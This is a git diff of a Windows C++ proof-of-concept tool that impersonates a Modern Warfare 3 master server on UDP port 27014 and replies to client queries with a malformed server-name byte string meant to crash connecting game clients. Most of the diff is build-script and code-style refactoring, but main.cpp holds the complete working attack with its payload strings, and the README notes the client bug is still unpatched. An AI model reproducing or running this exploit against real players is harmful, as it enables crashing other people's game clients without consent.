diff --git a/README.md b/README.md index deb7e9f..94339c0 100644 --- a/README.md +++ b/README.md @@ -11,17 +11,10 @@ The exploit has since been mitigated, but the underlying bug in the client remai ## How does this work? -The exploit works by modifying the server name with a malicious string of characters. It will make any client crash. +The exploit works by modifying the server name with a malicious string of characters. ## Compile from source - Clone the Git repo. Do NOT download it as ZIP, that won't work. - Run `premake5 vs2019` or simply use the delivered `generate.bat`. - Build via solution file in `build\server-list-exploit.sln`. - -## Premake arguments - -| Argument | Description | -|:----------------------------|:-----------------------------------------------| -| `--dev-build` | Do nothing. | -| `--copy-to` | Copy the EXE to a custom folder after build. | \ No newline at end of file diff --git a/generate.bat b/generate.bat index b9ffdf6..fb09d6e 100644 --- a/generate.bat +++ b/generate.bat @@ -1,3 +1,3 @@ @echo off git submodule update --init --recursive -tools\premake5 %* vs2019 \ No newline at end of file +call tools\premake5 %* vs2022 diff --git a/premake5.lua b/premake5.lua index ce5b591..2ff39ec 100644 --- a/premake5.lua +++ b/premake5.lua @@ -42,14 +42,18 @@ newoption { dependencies.load() workspace "server-list-exploit" +startproject "server-list-exploit" location "./build" objdir "%{wks.location}/obj" targetdir "%{wks.location}/bin/%{cfg.platform}/%{cfg.buildcfg}" configurations {"Debug", "Release"} +language "C++" +cppdialect "C++17" + architecture "x86" -platforms "x86" +platforms "Win32" systemversion "latest" symbols "On" @@ -64,43 +68,35 @@ end flags {"NoIncrementalLink", "NoMinimalRebuild", "MultiProcessorCompile", "No64BitChecks" } -filter "action:vs*" -buildoptions "/std:c++17" -defines { "_WINDOWS", "WIN32" } +filter "platforms:Win*" + defines {"_WINDOWS", "WIN32"} +filter {} -filter "action:gmake*" -cppdialect "C++17" -buildoptions "-std=c++17" -defines { "_LINUX" } +filter "configurations:Release" + optimize "Size" + buildoptions {"/GL"} + linkoptions {"/IGNORE:4702", "/LTCG"} + defines {"NDEBUG"} + flags {"FatalCompileWarnings", "FatalLinkWarnings"} +filter {} -configuration "Release" -optimize "Size" -buildoptions {"/GL"} -linkoptions { "/IGNORE:4702", "/LTCG" } - -defines {"NDEBUG"} - -flags {"FatalCompileWarnings"} - -configuration "Debug" -optimize "Debug" - -defines {"DEBUG", "_DEBUG"} - -configuration {} +filter "configurations:Debug" + optimize "Debug" + defines {"DEBUG", "_DEBUG"} +filter {} project "server-list-exploit" kind "ConsoleApp" language "C++" -pchheader "stdinc.hpp" -pchsource "src/stdinc.cpp" - files {"./src/**.hpp", "./src/**.cpp"} includedirs {"./src", "%{prj.location}/src"} --- links {"kernel32", "user32", "Ws2_32"} +resincludedirs {"$(ProjectDir)src"} + +pchheader "stdafx.hpp" +pchsource "src/stdafx.cpp" dependencies.imports() diff --git a/src/main.cpp b/src/main.cpp index 2ca4230..1b168b2 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -1,115 +1,114 @@ -#include "stdinc.hpp" +#include "stdafx.hpp" #include "main.hpp" #define MW3_SERVER_4CC 0x504F4F4C #define BUF_SIZE 1024 -SOCKET sock; +static SOCKET sock; -bool startUp() +bool start_up() { - WSADATA wsa_data; - auto wsaResult = WSAStartup(MAKEWORD(2, 2), &wsa_data); - if (wsaResult != 0) - { - printf("WSAStartup error: %d\n", wsaResult); - return false; - } + WSADATA wsa_data; + const auto wsa_result = WSAStartup(MAKEWORD(2, 2), &wsa_data); + if (wsa_result != 0) + { + printf("WSAStartup error: %d\n", wsa_result); + return false; + } - sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); - if (INVALID_SOCKET == sock) - { - printf("Can't initialize socket\n"); - return false; - } + sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (INVALID_SOCKET == sock) + { + printf("Can't initialize socket\n"); + return false; + } - sockaddr_in service{}; - service.sin_family = AF_INET; - service.sin_addr.s_addr = htonl(INADDR_ANY); + sockaddr_in service{}; + service.sin_family = AF_INET; + service.sin_addr.s_addr = htonl(INADDR_ANY); -// net_masterServerPort - service.sin_port = htons(27014); - auto result = bind(sock, (SOCKADDR*)&service, sizeof(service)); - if (SOCKET_ERROR == result) - { - printf("Can't bind socket\n"); - closesocket(sock); - return false; - } +// net_masterServerPort + service.sin_port = htons(27014); + const auto result = bind(sock, (SOCKADDR*)&service, sizeof(service)); + if (SOCKET_ERROR == result) + { + printf("Can't bind socket\n"); + closesocket(sock); + return false; + } - return true; + return true; } -DWORD WINAPI recvTh(LPVOID) +DWORD WINAPI recv_thread(LPVOID) { - auto buf = std::make_unique(BUF_SIZE); - printf("Started thread\n"); + auto msg_buf = std::make_unique(BUF_SIZE); + printf("Started thread\n"); - u_long iMode = 0; - auto ioctlResult = ioctlsocket(sock, FIONBIO, &iMode); - if (ioctlResult != 0) - { - printf("ioctlsocket error: %d\n", ioctlResult); - return 1; - } + u_long i_mode = 0; + const auto ioctl_result = ioctlsocket(sock, FIONBIO, &i_mode); + if (ioctl_result == SOCKET_ERROR) + { + printf("ioctlsocket error: %d\n", ioctl_result); + return 1; + } - sockaddr_in sender{}; - int senderSize = sizeof(sender); - serverInfo_t info{}; + static sockaddr_in sender{}; + static serverInfo_t info{}; -// undisclosed step - info.serverName_ptr = 0; - info.rawDataSize = INFO_MAX_DATA; +// simplified step for this POC + info.serverName_ptr = 0; + info.rawDataSize = INFO_MAX_DATA; - while (TRUE) - { - SecureZeroMemory(buf.get(), BUF_SIZE); - auto len = recvfrom(sock, buf.get(), BUF_SIZE, 0, (SOCKADDR*)&sender, &senderSize); + while (true) + { + int sender_size = sizeof(sender); + const auto len = recvfrom(sock, msg_buf.get(), BUF_SIZE, 0, (SOCKADDR*)&sender, &sender_size); - if (len == SOCKET_ERROR) - { - return 1; - } + if (len == SOCKET_ERROR) + { + return 1; + } - if (len == sizeof(serverQuery_t)) - { - auto* packet = (serverQuery_t*)buf.get(); + if (len == sizeof(serverQuery_t)) + { + const auto* packet = (serverQuery_t*)msg_buf.get(); - if (packet->magic4CC == MW3_SERVER_4CC) - { - printf("Server is sending info to a client\n"); - auto bad_string = "\x5e\x01\xCC\xCC\x0C" "depthprepass"s; -// auto bad_string = "\x5e\x01\xCC\xCC\x0A" "shellshock"s; - std::memcpy(&info.rawData[info.serverName_ptr], bad_string.data(), bad_string.length() + 1); - sendto(sock, (char*)&info, sizeof(serverInfo_t), 0, (SOCKADDR*)&sender, senderSize); - } - } + if (packet->magic4CC == MW3_SERVER_4CC) + { + printf("Server is sending info to a client\n"); + auto bad_string = "\x5e\x01\xCC\xCC\x0C" "depthprepass"s; +// auto bad_string = "\x5e\x01\xCC\xCC\x0A" "shellshock"s; + std::memcpy(&info.rawData[info.serverName_ptr], bad_string.data(), bad_string.length() + 1); + sendto(sock, (char*)&info, sizeof(serverInfo_t), 0, (SOCKADDR*)&sender, sender_size); + } + } - Sleep(1); - } + Sleep(1); + } - return 0; + return 0; } int main(int, char**) { - if (!startUp()) - { - return 1; - } + if (!start_up()) + { + return 1; + } - DWORD dwThreadId; - auto thread = CreateThread(0, 0, recvTh, 0, 0, &dwThreadId); - if (thread == NULL) - { - printf("Error in creating thread\n"); - return 1; - } + DWORD dw_thread_id; + auto thread = CreateThread(nullptr, 0, recv_thread, nullptr, 0, &dw_thread_id); + if (thread == nullptr) + { + printf("Error in creating thread\n"); + return 1; + } - WaitForSingleObject(thread, INFINITE); - closesocket(sock); - WSACleanup(); + WaitForSingleObject(thread, INFINITE); + closesocket(sock); + WSACleanup(); - return 0; + return 0; } diff --git a/src/main.hpp b/src/main.hpp index cb97149..05cbaf8 100644 --- a/src/main.hpp +++ b/src/main.hpp @@ -2,6 +2,7 @@ #define INFO_MAX_DATA 2048 +// MW3 Client Specific Structures #pragma pack(1) typedef struct diff --git a/src/stdafx.cpp b/src/stdafx.cpp new file mode 100644 index 0000000..7845e6a --- /dev/null +++ b/src/stdafx.cpp @@ -0,0 +1 @@ +#include "stdafx.hpp" diff --git a/src/stdafx.hpp b/src/stdafx.hpp new file mode 100644 index 0000000..a98c2c0 --- /dev/null +++ b/src/stdafx.hpp @@ -0,0 +1,24 @@ +#ifdef _WIN32 +#pragma once + +#define WIN32_LEAN_AND_MEAN + +#include +#include +#include + +#endif + +#include +#include +#include +#include +#include + +#ifdef _WIN32 + +#pragma comment (lib, "Ws2_32.lib") + +#endif + +using namespace std::literals; diff --git a/src/stdinc.cpp b/src/stdinc.cpp deleted file mode 100644 index 02d87ab..0000000 --- a/src/stdinc.cpp +++ /dev/null @@ -1 +0,0 @@ -#include "stdinc.hpp" diff --git a/src/stdinc.hpp b/src/stdinc.hpp deleted file mode 100644 index a194422..0000000 --- a/src/stdinc.hpp +++ /dev/null @@ -1,29 +0,0 @@ -#ifdef _LINUX -#pragma clang diagnostic push -#pragma clang diagnostic ignored "-Wpragma-pack" -#endif - -// defines -#define WIN32_LEAN_AND_MEAN - -// windows headers -#include -#include -#include -#include -#include -#include -#include -#pragma comment (lib, "Ws2_32.lib") - -// std includes -#include - -using namespace std::literals; - -// c types -#include - -#ifdef _LINUX -#pragma clang diagnostic pop -#endif diff --git a/tools/premake5.exe b/tools/premake5.exe index 0e4954f..c73da1f 100644 Binary files a/tools/premake5.exe and b/tools/premake5.exe differ